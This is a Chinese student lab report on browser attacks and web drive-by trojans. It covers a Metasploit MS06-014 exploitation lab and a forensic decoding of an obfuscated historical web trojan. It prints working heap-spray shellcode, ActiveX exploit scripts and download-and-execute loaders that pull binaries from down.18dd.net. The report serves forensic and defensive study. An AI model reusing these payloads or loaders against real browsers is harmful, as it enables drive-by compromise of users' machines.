作业所属课程:https://edu.cnblogs.com/campus/besti/19attackdefense/
作业要求:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
实践内容
综述
1、现代浏览器技术结构 参考现代浏览器工作原理(一)
图一 现代浏览器技术结构
(2)浏览器引擎(Browser Engine)
浏览器引擎是一个可嵌入的组件,其为渲染引擎提供高级接口。
浏览器引擎可以加载一个给定的URI,并支持诸如:前进/后退/重新加载等浏览操作。
浏览器引擎提供查看浏览会话的各个方面的挂钩,例如:当前页面加载进度、JavaScript alert。
浏览器引擎还允许查询/修改渲染引擎设置。
(3)渲染引擎(Rendering Engine)
渲染引擎为指定的URI生成可视化的表示。
渲染引擎能够显示HTML和XML文档,可选择CSS样式,以及嵌入式内容(如图片)。
渲染引擎能够准确计算页面布局,可使用“回流”算法逐步调整页面元素的位置。
渲染引擎内部包含HTML解析器。
(4)网络(Networking)
网络系统实现HTTP和FTP等文件传输协议。 网络系统可以在不同的字符集之间进行转换,为文件解析MIME媒体类型。 网络系统可以实现最近检索资源的缓存功能。
补充:MIME TYPE,Http会给每一种通过web传输的对象(如HTTP对象)都打上一个名为MIME TYPE的数据格式标签,web浏览器根据MIME type决定如何处理这个对象。MIME类型是一个文本标记,表示一种主要对象类型和一个特定的子类型。
(常见资源媒体类型)
(5)JavaScript解释器(JavaScript Interpreter)
JavaScript解释器能够解释并执行嵌入在网页中的JavaScript(又称ECMAScript)代码。 为了安全起见,浏览器引擎或渲染引擎可能会禁用某些JavaScript功能,如弹出窗口的打开。
(6)XML解析器(XML Parser)
XML解析器可以将XML文档解析成文档对象模型(Document Object Model,DOM)树。 XML解析器是浏览器架构中复用最多的子系统之一,几乎所有的浏览器实现都利用现有的XML解析器,而不是从头开始创建自己的XML解析器。
补充:DOM和DOM树
(7)显示后端(Display Backend)
显示后端提供绘图和窗口原语,包括:用户界面控件集合、字体集合。感觉像是一个原材料集合
(8)数据持久层(Data Persistence)
数据持久层将与浏览会话相关联的各种数据存储在硬盘上。 这些数据可能是诸如:书签、工具栏设置等这样的高级数据,也可能是诸如:Cookie,安全证书、缓存等这样的低级数据。
(9)渲染引擎
浏览器的组成模块众多,而渲染引擎则是浏览器中最重要的模块。目前,常见的渲染引擎有Trident、Gecko、WebKit等
2、web浏览器安全隐患来源
(1)复杂性(2)可扩展性(3)连通性
3、安全隐患发生位置
(1)网络协议安全威胁
(2)浏览器端的系统平台
(3)浏览器软件及插件
(4)社会工程学
网马
网页木马存在的基础
web浏览器端软件中存在安全漏洞
本质
浏览器渗透攻击
(1)利用现代web浏览器软件中支持的客户端脚本执行能力
(2)针对web浏览器软件安全漏洞实施客户端渗透攻击
(3)取得在客户端主机上的远程代码执行权限来植入恶意程序。
难以应对网马的原因
(1)多样化的客户端渗透攻击位置和技术类型
(2)分布式、复杂的微观链接结构
(3)灵活多变的混淆与对抗分析能力:客户端脚本语言支持各种灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制
1、createobject
MS06-014漏洞: Microsoft Data Access Components (MDAC) 功能中的漏洞可能允许执行代码,使用VBScript
windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace ActiveX控件中发现的远程代码执行漏洞。在这个控件中,CreateObject()方法创建的ActiveX控件无法确保安全交互。
2、堆内存操纵(可以用来对抗ASLR内存空间布局随机化机制)
使用JavaScript编写。
构造字符串数组N+S缓冲区溢出
网页挂马机制
(1)内嵌HTML标签iframe、frame
如:<iframe src="url to trojan" width="0" height="0" frameborder="0"></iframe>
(2)恶意Script脚本
利用script脚本标签通过外部引用脚本的方式来包含网页木马。
如<script src="url to trojan">
跳转脚本中使用document.write动态生成含有网页木马的iframe内嵌标签
(3)内嵌对象链接
利用图片、Flash等内嵌对象中的特定方法完成指定页面加载。
如:Flash中的LoadMovie()方法,产生包含网马链接的图片或Flash文件。
场景:允许用户上传图片或flash的网站。
(4)ARP欺骗挂马
通过ARP欺骗进行中间人攻击。
劫持所有网络流量,在服务器的响应的HTML中植入恶意脚本。
实践过程
实践一:web浏览器渗透攻击实验
使用攻击机和windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
环境:攻击机:Windows XP_Attacker攻击机(192.168.200.2),其中安装了Metasploit渗透攻击框架软件。
靶机:未打补丁的windows靶机,windows2kS(192.168.200.124)。
实验步骤:
1、选择使用Metasploit中的MS06-014渗透攻击模块(ie_createobject);
图一 搜索该模块
图二 使用该模块
2、选择PAYLOAD为任意远程Shell连接;
图三 选择负载
3、选择服务器地址(SVRHOST或LHOST)和URL参数,运行exploit,构造出恶意网页木马脚本;
图四 设置其他option
可以看到上图中的url
4、在靶机环境中启动浏览器,验证与服务器的联通性,并访问恶意网页木马脚本URL;
图五 访问图四中的url
图六 得到shell
图七 输入命令查看当前得到的shell的主机ip
实践二 取证分析实践:剖析一个世纪的网页木马攻击场景
任务:根据说明逐步分析,得到最终的木马文件的内容。
首先访问start.html,在这个文件中给出了new09.htm的地址,在进入new09.htm后,每解密出一个我那件地址,请对其做32位MD5散列,以散列值位文件名到http://netsec.ccert.edu.cn/hacking/目录,下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程指导这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的URL形式,形如http://xx.18dd.net/a/b.html,否则会导致散列值计算不正确而无法继续。
问题
1、试述你是如何一步步从所给的网页中获取最后的真实代码的?
2、网页和JavaScript代码中都是用了什么样的加密方法?你是如何解密的?
3、从解密后的结果来看,攻击者够早的网页木马利用了哪些安全漏洞?
4、解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,他们下载了哪些程序?这些程序又是起什么作用?(请举例分析)
答:(1)将http://192.168.68.253/scom/start/html使用freshow查看其源代码并将源代码保存到文件start.html中,在其中找到new09.htm页面的链接:http://192.168.68.253/scom/new09/html
之后在new09.html中找到两个链接。
<script language="javascript" type="text/javascript" src="http://js.users.51.1a/1299644.js'></script>
网页加密方法:www.cha88.cn
http://aa.18dd.net/aa/kl.htm MD5:7f60672dcd6b5e90b6772545ee219bd3
http://js.users.51.la/1299644.js MD5:http://js.users.51.la/1299644.js
从hashed文件夹中找到这两个文件,并一一打开查看
可以看到一种加密方法:xxtea+base64加密方法。需要找到其加密秘钥,xxtea_decrypt函数的第二个参数就是秘钥,将这个秘钥从16进制转换为字符串:
得到秘钥script
之后对xxtea的加密进行解密:
解密后:
使用xxtea在线加解密工具解密后的十六进制
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
转换为字符串之后得到:
66756e6374696f6e20696e697428297b646f63756d656e742e777269746528293b7d0d0a77696e646f772e6f6e6c6f6164203d20696e69743b0d0a696628646f63756d656e742e636f6f6b69652e696e6465784f6628274f4b27293d3d2d31297b0d0a7472797b76617220653b0d0a7661722061646f3d28646f63756d656e742e637265617465456c656d656e7428226f626a6563742229293b0d0a61646f2e7365744174747269627574652822636c6173736964222c22636c7369643a42443936433535362d363541332d313144302d393833412d30304330344643323945333622293b0d0a7661722061733d61646f2e6372656174656f626a656374282241646f64622e53747265616d222c2222297d0d0a63617463682865297b7d3b0d0a66696e616c6c797b0d0a76617220657870697265733d6e6577204461746528293b0d0a657870697265732e73657454696d6528657870697265732e67657454696d6528292b32342a36302a36302a31303030293b0d0a646f63756d656e742e636f6f6b69653d2763653d77696e646f777378703b706174683d2f3b657870697265733d272b657870697265732e746f474d54537472696e6728293b0d0a69662865213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f312e6a733e3c5c2f7363726970743e22297d0d0a656c73657b0d0a7472797b76617220663b7661722073746f726d3d6e657720416374697665584f626a65637428224d50532e53746f726d506c6179657222293b7d0d0a63617463682866297b7d3b0d0a66696e616c6c797b69662866213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f622e6a733e3c5c2f7363726970743e22297d7d0d0a7472797b76617220673b766172207070733d6e657720416374697665584f626a6563742822504f574552504c415945522e506f776572506c617965724374726c2e3122293b7d0d0a63617463682867297b7d3b0d0a66696e616c6c797b69662867213d225b6f626a656374204572726f725d22297b0d0a646f63756d656e742e777269746528223c736372697074207372633d687474703a5c2f5c2f61612e313864642e6e65745c2f61615c2f7070732e6a733e3c5c2f7363726970743e22297d7d0d0a7472797b76617220683b766172206f626a3d6e657720416374697665584f626a656374282242616964754261722e546f6f6c22293b7d0d0a63617463682868297b7d3b0d0a66696e616c6c797b69662868213d225b6f626a656374204572726f725d22297b0d0a6f626a2e446c6f616444532822687474703a2f2f646f776e2e313864642e6e65742f62622f62642e636162222c202262642e657865222c2030297d7d0d0a7d7d7d
转换完成之后,得到代码:
function init(){
document.write();
}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")//Adodb.Stream
}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{
var f;
var storm=new ActiveXObject("MPS.StormPlayer");//MPS.StormPlayer
}catch(f){};
finally{
if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{
var g;
var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}//POWERPLAYER.PowerPlayerCtrl.1
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}//写入恶意脚本
try{
var h;
var obj=new ActiveXObject("BaiduBar.Tool");//BaiduBar.Tool
}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}//下载
}}}
在这段代码中,利用的漏洞有:
程序 | 所利用漏洞 |
---|---|
Adodb.Stream | MDAC |
MPS.StormPlayer | 暴风影音 |
POWERPLAYER.PowerPlayerCtrl.1 | PPStream |
BaiduBar.Tool | 百度搜霸 |
对文件中包含的4个url进行分析:
url | MD5 |
---|---|
http://aa.18dd.net/aa/1.js | 5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js | 3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js | 5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab | 1c1d7b3539a617517c49eee4120783b2 |
之后根据md5值找到对应的文件
http://aa.18dd.net/aa/1.js对应的代码:
var url="http://down.18dd.net/bb/014.exe";//下载可执行文件
try{
var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET",url,0);
xml.Send();as.type=1;
as.open();
as.write(xml.responseBody);
path="..\\ntuser.com";
as.savetofile(path,2);
as.close();
var shell=ado.createobject("Shell.Application","");//adodb漏洞
shell.ShellExecute("cmd.exe","/c "+path,"","open",0);//shellcode
}
catch(e){}
http://aa.18dd.net/aa/b.js文件中内容如下图:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
网页木马的shellcode通常会将包含病毒的url写入,根据url中'/'的ASCII码'2F'进行分析
在最后一段中有四个'/',猜测这应该就是一个url,对该ascii码串使用preshow和16进制进行url转换,得到url:http://down.18dd.net/bb/bf.exe,也是对一个可执行文件进行下载。
对于http://aa.18dd.net/aa/pps.js,打开对应的MD5值为名的文件,其内容为八进制,对之进行字符串转换,得到:
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
在这段代码中的shellcode中,可以解析出url:http://down.18dd.net/bb/pps.exe,也是下载一个可执行文件
对于http://down.18dd.net/bb/bd.cab,打开之后,得到十六进制以及乱码
对0.exe文件进行分析,可以看到是有加壳的
对3.exe脱壳并分析。
看到一些对注册表的改写,之后还有创建快照
网页和JavaScript中使用的加密方法:xxtea+base64、16进制混淆,js混淆,8进制混淆
安全漏洞
(1)MS06-014网马
(2)暴风影音网马 CVE-2007-4816安全漏洞(缓冲区溢出漏洞)
(3)PPStream网马(CVE-2007-4748安全漏洞,ppstream堆栈溢出)
(4)百度搜霸网马(CVE-2007-4105安全漏洞,ActiveX控件远程执行漏洞)
解密后发现的可执行文件和下载器
解密后有4个可执行文件,是同样的下载器。他们下载的程序有20个,作用是获取受害主机上的一些信息,但是具体的目的我还没有分析出来(动态分析软件没找到,稍后处理)。
今天根据大佬讲的实践过程,学会了一个办法,在不知道网页上的代码的混淆方式时以及解密方法时,可以写一个<script>
使用变量赋值为那一段未知的字符串,使用console.log(变量)或者alert得到解析后的代码。(所有被混淆的代码都会在浏览器上解析为最原本的代码)
实践三 Web 浏览器渗透攻击攻防对抗
攻击方使用 Metasploit 构造出攻击至少两个不同 Web 浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理组装成一个URL链接,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析,尝试恢复出渗透攻击代码的原始形态, 并分析出这些渗透代码都是攻击哪些 Web 浏览端软件的哪些安全漏洞。
双方撰写详细实验分析报告, 对攻防对抗过程进行总结。
攻击方式与实践一相同。
防守方访问到这个网页之后,对该网页的源代码进行查看和保存,可以看到源码之间的间隙很大,是在通过大片的空白以及将字符串使用“+”进行隔开,防止被反病毒软件查杀。
<html>
<head>
<title></title>
<script language="javascript">
function gCxloZiKnraRiVfaHsIlPOuQOGsV(o, n) {
var r = null;
try { eval("r=o.CreateObject(n)") }
catch(e) {}
if(!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch(e) {}
}
if(!r) {
try { eval("r=o.CreateObject(n,'','')") }
catch(e) {} }
if(!r) {
try {
eval("r=o.GetObject('',n)") }
catch(e) {}
}
if(!r) {
try {
eval("r=o.GetObject(n,'')") }
catch(e) {}
}
if(!r) {
try {
eval("r=o.GetObject(n)")
} catch(e) {}
}
return(r)
}
function zlGvEUjDk(a) {
var s = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "WScript.Shell");
var o = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\xeawGEgzOudIUf.exe";//下载的可执行文件
var dat; try { xml = new XMLHttpRequest()
}
catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch(e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if(!xml) { return(0) }
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0) }
function UfOJvYCnWIPu() { var i = 0; var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', //可以根据数组中的内容确定,这个可以确定是被利用的MS06-014
'{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}',
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}',
'{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',
'{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',
'{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}',
null);
while(t[i]) {
var a = null;
if(t[i].substring(0, 1) == '{') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
}
else {
try {
a = new ActiveXObject(t[i])
}
catch(e) {}
}
if(a)
{
try {
var b = gCxloZiKnraRiVfaHsIlPOuQOGsV(a, "WScript.Shell");
if(b) {
zlGvEUjDk(a); return(0)
}
} catch(e) {} } i++ }
}
</script>
</head>
<body onload='UfOJvYCnWIPu()'>lHVktKHkSJUvBMeTdoZ</body>
</html>
可以看到靶机的后台有一个代码中的相应的可执行文件
实践四 WEB浏览器遭遇攻击、取证分析
1、通过分析pcap文件,回答下面问题。
2、列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
3、列出IP地址、主机名、域名,猜测攻击场景的环境配置。
4、列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
5、请给出攻击者执行攻击动作的概要描述。
6、攻击者引入了哪些技巧带来了困难。
7、攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
8、shellcode执行了哪些操作?比较他们之间MD5的差异?
9、在攻击场景中有二进制可执行代码参与吗?目的是什么?
答:
下载工具chaoosreaer:git clone https://github.com/brendangregg/Chaosreader.git
